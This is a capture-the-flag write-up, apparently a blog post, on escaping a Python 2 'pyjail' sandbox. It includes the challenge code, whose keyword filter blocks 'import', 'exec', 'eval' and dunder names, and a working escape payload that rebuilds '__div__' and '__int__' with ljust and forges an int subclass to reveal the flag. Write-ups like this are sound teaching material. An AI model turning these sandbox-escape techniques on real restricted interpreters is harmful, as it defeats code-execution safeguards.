import re import sys import string from sys import stdout sys.stderr = stdout sanitize = re.compile( r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)' ).sub trusted_builtins = """ True False type int """.split() alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}' t1 = ''.join(chr(code) for code in xrange(256)) t2 = [] for i in t1: if i in alphabet: t2.append(i) else: t2.append(' ') trans_table = string.maketrans(t1, ''.join(t2)) EXPECTED = 13.37 del alphabet, t1, t2, i, sys, string, re def clear_builtins(): orig = __builtins__.__dict__.copy() __builtins__.__dict__.clear() for i in trusted_builtins: __builtins__.__dict__[i] = orig[i] part1_of_flag = '******************' part2_of_flag = '******************' egg = 'egg' def main(): if raw_input() != 'leetleetleetleet': return print ('Welcome to pyjail!\n\n' 'Try to get the flag!\n' 'Use ctrl+D or --- to submit your code\n') stdout.flush() code = [] total_bytes = 0 while True: try: value = raw_input() total_bytes += len(value) assert total_bytes < 1337 if value == '---': break code.append(value) except EOFError: break code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table)) clear_builtins() def sandbox(): t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0 def exec_in_context(ctx): exec code in ctx print 'Flag is', try: assert FLAG != part1_of_flag print FLAG except: print '********************' def we_must_be_sure_flag_part1_is_ready(): global FLAG FLAG = part1_of_flag def we_must_be_sure_flag_part2_is_ready(): global FLAG FLAG += part2_of_flag def divider(v1): a = "You are lucky!" b = "Try again!" def divider(v2): i,t,s, n,o,t, s,o, h,a,r,d if int(v1) / int(v2) == EXPECTED: print a we_must_be_sure_flag_part2_is_ready() else: print b we_must_be_sure_flag_part1_is_ready() return divider exec_in_context({'div': divider}) sandbox() if __name__ == '__main__': main()
This program sanitizes our code by replacing specified strings with /*ERR*/:
r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
It also only allows the following characters to be used:
' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'
It also clears the current built ins and replaces them with the "safe" variables:
True False type int
Our code is then executed with access to the divider function which calls we_must_be_sure_flag_part1_is_ready() and returns a different divider function. Divider(v2) checks if int(v1) / int(v2) is EXPECTED, which was initialized to 13.37.
So, somehow magically we're supposed to make two 'integers' equal a float?
import black_magic
I first decided to attempt to create another object that inherits the int object. I modified __int__ to simply return what its given. I also modified __div__ to return the float 13.37 every time it is called. I used type to create my new pseudo-integer class object.
def fint(self): return self def fdiv(self,o): return 13.37 a = type('new_int', (int,), {'__div__': fdiv, '__int__': fint})
This allows so that when I create a new_int using an integer, a(1), performing int(new_int) will return an integer value, but still be of type new_int. Using a float, a(1.0), would cause int(new_int) to return a float value and throw an exception.
The jail doesn't allow me to enter the quote ( ' ) character sadly. Good thing there is a listof strings in div.func_code.co_freevars:
('d', 'h', 'i', 'n', 'o', 'r', 's', 't', 'we_must_be_sure_flag_part1_is_ready', 'we_must_be_sure_flag_part2_is_ready')I can also get the 'v' character from div.func_name
But wait! The plus (+) operator cannot be used AND replace(), join(), format(), and translate() cannot be used!!!
Good thing there is a ljust() function then!
The ljust function takes a given string and returns a modified string at least n wide and fills any extra characters with optionally given padding (default is space).
s = div.func_code.co_freevars
_div_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[0]).ljust(4, s[2]).ljust(5, div.func_name[2]).ljust(6, s[8][2]).ljust(7, s[8][2])
_int_ = s[8][2].ljust(2, s[8][2]).ljust(3, s[2]).ljust(4, s[3]).ljust(5, s[7]).ljust(6, s[8][2]).ljust(7, s[8][2])
print _div_;print _int_
---
__div__
__int__
After this it was just plug and play:
leetleetleetleet
Welcome to pyjail!
Try to get the flag!
Use ctrl+D or --- to submit your code
def fint(self):return self
def fdiv(self,o):return 13.37
s=div.func_code.co_freevars
_div_=s[8][2].ljust(2,s[8][2]).ljust(3,s[0]).ljust(4,s[2]).ljust(5,div.func_name[2]).ljust(6,s[8][2]).ljust(7,s[8][2])
_int_=s[8][2].ljust(2,s[8][2]).ljust(3,s[2]).ljust(4,s[3]).ljust(5,s[7]).ljust(6,s[8][2]).ljust(7,s[8][2])
a=type(s[0],(int,),{_div_: fdiv,_int_:fint})
div(a(1))(a(1))
---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649
No comments:
Post a Comment